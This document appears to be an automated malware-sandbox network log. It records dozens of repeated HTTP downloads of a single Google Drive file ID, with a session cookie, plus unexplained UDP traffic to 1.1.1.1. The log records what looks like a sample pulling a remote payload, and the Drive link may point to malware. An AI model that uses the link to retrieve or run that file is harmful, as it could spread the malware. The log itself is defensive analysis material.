Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
